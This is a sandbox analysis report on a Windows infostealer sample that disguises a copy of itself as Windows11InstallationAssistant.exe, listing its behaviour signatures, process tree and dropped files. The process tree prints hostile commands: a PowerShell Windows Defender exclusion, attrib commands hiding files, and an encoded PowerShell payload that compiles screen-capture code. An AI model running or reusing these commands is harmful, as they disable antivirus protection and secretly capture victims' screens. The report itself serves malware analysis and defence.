Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 23:48

General

  • Target
    8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
  • Size 10.8MB
  • Sample260817-3twa3ssvht
  • SHA256 8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Drops autorun.inf file 1 TTPs 2 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies system certificate store 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
    "C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe"
    1⤵
    • Drops autorun.inf file
    • Modifies trusted root certificate store through registry
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:572
    • C:\Windows\SysWOW64\cmd.exe
      cmd /C "attrib +s +h C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\SysWOW64\attrib.exe
        attrib +s +h C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:5964
    • C:\Windows\SysWOW64\attrib.exe
      attrib +h +s F:\autorun.inf
      2⤵
      • Drops autorun.inf file
      • System Location Discovery: System Language Discovery
      • Views/modifies file attributes
      PID:3780
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3304
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zqzvg4kl\zqzvg4kl.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5880
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD306.tmp" "c:\Users\Admin\AppData\Local\Temp\zqzvg4kl\CSCF89798EBD862486387BF8F2B43B53AB.TMP"
          4⤵
            PID:1824
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3932
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s F:\Windows11InstallationAssistant.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:260

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 ca8448289f320afbd768f69dd39fca027f3e1456c8209d6c78016268f9dbe2d4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          RESD306.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RESD306.tmp
          • Size 1KB
          • SHA256 ab31b1b2fd40b2911bd7929fcbf174ecfd0cc24cf3428674670824d5310a5471
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_30dp0jdq.5w2.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30dp0jdq.5w2.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          Display (1).png

          • Path C:\Users\Admin\AppData\Local\Temp\tBZt9HWdNO\Display (1).png
          • Size 544KB
          • SHA256 2449122c260e1d3cf7d53e7a27d7836bf6bb6a9a9157eadaef88a40493e510e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          zqzvg4kl.dll

          • Path C:\Users\Admin\AppData\Local\Temp\zqzvg4kl\zqzvg4kl.dll
          • Size 4KB
          • SHA256 81aa476d4cb6a1e3b6bc6a49081c6741cdac0b8b20a55540817a0436953ad406
          • MD5 SHA1 SHA512 TLSH

          Windows11InstallationAssistant.exe

          • Path F:\Windows11InstallationAssistant.exe
          • Size 10.8MB
          • SHA256 8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          autorun.inf

          • Path F:\autorun.inf
          • Size 91B
          • SHA256 4007247521367cf4b29bfdddd2eb197aeaec325eafa745fbea6a59f880f8e948
          • MD5 SHA1 SHA512 TLSH

          CSCF89798EBD862486387BF8F2B43B53AB.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\zqzvg4kl\CSCF89798EBD862486387BF8F2B43B53AB.TMP
          • Size 652B
          • SHA256 aef26cd4f469f00207492a64c8b044b3f8df23fb2e6b4c241cd8b8e378ef5509
          • MD5 SHA1 SHA512 TLSH

          zqzvg4kl.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\zqzvg4kl\zqzvg4kl.0.cs
          • Size 1004B
          • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
          • MD5 SHA1 SHA512 TLSH

          zqzvg4kl.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\zqzvg4kl\zqzvg4kl.cmdline
          • Size 607B
          • SHA256 7d39b1558ac8b96804273f2ab6196815d86c4fbba9c01b7a82a670d9a84c9017
          • MD5 SHA1 SHA512 TLSH

          memory/3304-24-0x0000000005990000-0x0000000005CEB000-memory.dmp

          memory/3304-74-0x0000000004CD0000-0x0000000004CD8000-memory.dmp

          memory/3304-10-0x00000000737E2000-0x00000000737E3000-memory.dmp

          memory/3304-30-0x0000000005E80000-0x0000000005E9E000-memory.dmp

          memory/3304-33-0x0000000005F40000-0x0000000005F8C000-memory.dmp

          memory/3304-42-0x0000000007500000-0x0000000007B7C000-memory.dmp

          memory/3304-43-0x0000000006410000-0x000000000642A000-memory.dmp

          memory/3304-52-0x0000000007270000-0x0000000007302000-memory.dmp

          memory/3304-53-0x0000000008140000-0x00000000086FA000-memory.dmp

          memory/3304-81-0x00000000737D0000-0x0000000073F8C000-memory.dmp

          memory/3304-23-0x00000000737D0000-0x0000000073F8C000-memory.dmp

          memory/3932-17-0x00000000737D0000-0x0000000073F8C000-memory.dmp

          memory/3932-61-0x0000000006DE0000-0x0000000006E16000-memory.dmp

          memory/3932-21-0x0000000005630000-0x0000000005696000-memory.dmp

          memory/3932-65-0x0000000006200000-0x0000000006220000-memory.dmp

          memory/3932-68-0x0000000006E20000-0x0000000006EC3000-memory.dmp

          memory/3932-16-0x00000000737D0000-0x0000000073F8C000-memory.dmp

          memory/3932-15-0x0000000004F70000-0x00000000055BA000-memory.dmp

          memory/3932-62-0x0000000070770000-0x00000000707BC000-memory.dmp

          memory/3932-14-0x00000000737D0000-0x0000000073F8C000-memory.dmp

          memory/3932-75-0x0000000006FE0000-0x0000000006FEA000-memory.dmp

          memory/3932-77-0x00000000071E0000-0x0000000007276000-memory.dmp

          memory/3932-22-0x00000000056A0000-0x0000000005706000-memory.dmp

          memory/3932-13-0x0000000002730000-0x0000000002766000-memory.dmp

          memory/3932-20-0x0000000004F20000-0x0000000004F42000-memory.dmp

          memory/3932-96-0x00000000737D0000-0x0000000073F8C000-memory.dmp